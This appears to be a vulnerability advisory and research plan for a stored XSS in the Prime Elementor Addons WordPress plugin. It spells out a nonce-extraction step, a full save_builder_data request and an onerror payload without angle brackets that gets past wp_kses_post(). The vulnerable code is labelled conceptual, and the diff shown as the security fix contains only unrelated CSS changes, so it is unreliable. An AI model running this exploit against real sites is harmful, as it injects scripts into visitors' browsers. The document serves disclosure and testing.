Prime Elementor Addons <= 1.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget HTML Tag Settings
Description
The Prime Elementor Addons – Lightweight Elementor Widgets for Faster Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Widget HTML Tag Settings in all versions up to, and including, 1.3.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit succeeds even for users without the unfiltered_html capability because the payload (e.g., 'img src=x onerror=alert(document.domain)') contains no HTML angle brackets and therefore passes through Elementor's wp_kses_post() filter unchanged at save time.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.3What Changed in the Fix
Changes introduced in v1.3.4
Source Code
WordPress.org SVNThis research plan outlines the technical steps required to analyze and verify CVE-2026-8677, a Stored Cross-Site Scripting (XSS) vulnerability in the **Prime Elementor Addons** plugin. ### 1. Vulnerability Summary * **Vulnerability:** Stored Cross-Site Scripting (XSS) via Widget HTML Tag Setting…
Show full research plan
This research plan outlines the technical steps required to analyze and verify CVE-2026-8677, a Stored Cross-Site Scripting (XSS) vulnerability in the Prime Elementor Addons plugin.
1. Vulnerability Summary
- Vulnerability: Stored Cross-Site Scripting (XSS) via Widget HTML Tag Settings.
- Affected Plugin: Prime Elementor Addons – Lightweight Elementor Widgets for Faster Pages.
- Affected Versions: <= 1.3.3.
- Root Cause: Insufficient validation and escaping of the HTML tag setting in various Elementor widgets. The plugin allows users (with Contributor+ roles) to define the HTML wrapper tag (e.g.,
h1,div,span) for widget elements. If the input is not strictly validated against an allowlist, an attacker can provide a payload that breaks out of the tag context. - Bypass: The vulnerability specifically bypasses
wp_kses_post()(often used by Elementor) because the payloadimg src=x onerror=alert(document.domain)does not contain HTML angle brackets (<or>). When the plugin echoes the tag as<$tag>, the resulting output becomes<img src=x onerror=alert(document.domain)>.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php. - Action:
elementor_ajax. - Internal Elementor Action:
save_builder_data. - Payload Parameter: The
settingsobject within the widget data in theactionsparameter. - Preconditions:
- Plugin installed and active.
- Elementor installed and active.
- Attacker has at least
Contributorprivileges (allowing them to create/edit posts and access the Elementor editor).
3. Code Flow (Inferred)
- Entry Point: An authenticated user saves an Elementor page. This triggers an AJAX request to
admin-ajax.phpwithaction=elementor_ajax. - Processing: Elementor's AJAX handler processes the
save_builder_dataaction, which contains the JSON-encoded layout and settings of the page. - Storage: The malicious "HTML Tag" setting (e.g., for the
pea_post_commentwidget) is stored in the post meta (usually_elementor_data). - Sink: When the page is viewed, the widget's
render()method (likely in a class withinincludes/widgets/) retrieves the setting. - Execution:
The output rendered in the browser becomes:// Conceptual vulnerable code in the widget's render() method: $settings = $this->get_settings_for_display(); $tag = $settings['title_tag']; // Attacker provides: img src=x onerror=alert(1) echo '<' . $tag . '>' . $title . '</' . $tag . '>';<img src=x onerror=alert(1)>Post Title</img src=x onerror=alert(1)>
4. Nonce Acquisition Strategy
To simulate the Elementor save request, a valid nonce for the elementor_ajax action is required.
- Setup: Create a page and open it in the Elementor editor as a Contributor.
- Extraction: The nonce is stored in the
elementorCommonJavaScript object. - Tooling: Use
browser_navigateto open the editor, thenbrowser_eval:// Extraction via browser console window.elementorCommon.config.ajax.nonce; - Context: This nonce is tied to the user's session and the
elementor_ajaxaction.
5. Exploitation Strategy
The goal is to update a post's Elementor data with a widget containing the malicious tag.
- Step 1: Create a new post and identify its
POST_ID. - Step 2: Obtain the
elementor_ajaxnonce using the strategy above. - Step 3: Send a POST request to
admin-ajax.php.
Request Details:
- URL:
http://<target>/wp-admin/admin-ajax.php?action=elementor_ajax - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
_nonce=[NONCE]& actions={ "save_builder_data": { "action": "save_builder_data", "data": { "status": "publish", "data": [ { "id": "unique_id_1", "elType": "section", "elements": [ { "id": "unique_id_2", "elType": "column", "elements": [ { "id": "unique_id_3", "elType": "widget", "widgetType": "pea_post_comment", "settings": { "title_tag": "img src=x onerror=alert(document.domain)" } } ] } ] } ] } } }& post_id=[POST_ID]
Note: pea_post_comment is inferred from assets/css/widgets/post-comment.css. Other candidate widgets from the plugin (e.g., pea_single_post_meta) should also be tested.
6. Test Data Setup
- User: Create a user with the
Contributorrole. - Post: Create a draft post as the Contributor.
- Environment: Ensure Elementor is active so the
elementor_ajaxaction is registered.
7. Expected Results
- AJAX Response: The server should return a JSON response indicating success:
{"success":true,"data":{...}}. - Frontend Rendering: Navigating to the post's public URL will trigger the XSS. The browser's DOM will contain:
<div class="pea-single-post-comments-wrapper ..."> <img src=x onerror=alert(document.domain)> ... </div> - Execution: An alert box showing the document domain will appear.
8. Verification Steps
- WP-CLI Check: Verify the stored meta data:
Confirm thewp post meta get [POST_ID] _elementor_datatitle_tagvalue contains the payload. - HTML Inspection: Use the
http_requesttool to fetch the public page and grep for the payload:# Look for the broken-out img tag http_request(url="http://<target>/?p=[POST_ID]") | grep "onerror=alert"
9. Alternative Approaches
- Different Widgets: If
pea_post_commentdoes not have a tag control, check other Prime Addons widgets likepea_single_post_meta(fromassets/css/widgets/post-meta.css) or any "Heading" / "Title" widgets included in the plugin. - Attribute Injection: If the tag is escaped but the attribute context is not, try payloads like
div onmouseover=alert(1). - Global Settings: Check if the plugin provides global settings for HTML tags in the WordPress dashboard (Admin XSS).
Summary
The Prime Elementor Addons plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via widget HTML tag settings in versions up to 1.3.3. Authenticated attackers with Contributor-level access can inject malicious scripts into various widgets because the plugin fails to sanitize or validate user-defined wrapper tags, allowing payloads without angle brackets (like 'img src=x onerror=alert(1)') to bypass filters and execute in the browser.
Vulnerable Code
// Conceptual vulnerable code in the widget's render() method (e.g., pea_post_comment or pea_single_post_meta) // Inferred from research plan sections 3 and 5 $settings = $this->get_settings_for_display(); $tag = $settings['title_tag']; // Attacker provides: img src=x onerror=alert(document.domain) echo '<' . $tag . '>' . $title . '</' . $tag . '>';
Security Fix
@@ -5,6 +5,9 @@ border-radius: 4px; padding: 0; } +.pea-single-post-comments-wrapper input[type=email], .pea-single-post-comments-wrapper input[type=text], .pea-single-post-comments-wrapper input[type=url], .pea-single-post-comments-wrapper textarea { + border: none; +} [data-widget_type="pea_post_comment.default"] .pea-single-post-comments-wrapper.comments-area::before { background: unset; } @@ -75,6 +78,8 @@ -ms-flex-direction: row; flex-direction: row; align-items: center; + margin-bottom: 0; + margin-block-end: 0px; } .pea-single-post-comments-wrapper.comments-area img.avatar { border-radius: 60%; @@ -116,8 +121,9 @@ transition: 0.3s ease-in-out 0s; } .pea-single-post-comments-wrapper.comments-area .reply a:hover { - background: #135e96; - border-color: #135e96; + background: transparent; + border-color: transparent; + text-decoration: underline; } .pea-single-post-comments-wrapper form p { margin-top: 0;
Exploit Outline
1. Authenticate as a Contributor user and access the Elementor editor for a post. 2. Obtain an 'elementor_ajax' nonce from the editor environment (e.g., from the 'window.elementorCommon.config.ajax.nonce' object). 3. Send an AJAX request to /wp-admin/admin-ajax.php with action=elementor_ajax and the 'save_builder_data' operation. 4. In the 'save_builder_data' payload, include a Prime Elementor Addon widget (such as 'pea_post_comment') with its 'title_tag' setting set to a malicious payload like 'img src=x onerror=alert(document.domain)'. 5. Since the payload contains no angle brackets (< or >), it bypasses wp_kses_post() filtering during the save process. 6. When any user views the post, the plugin renders the widget, outputting the payload inside an angle-bracketed tag context, resulting in executed JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.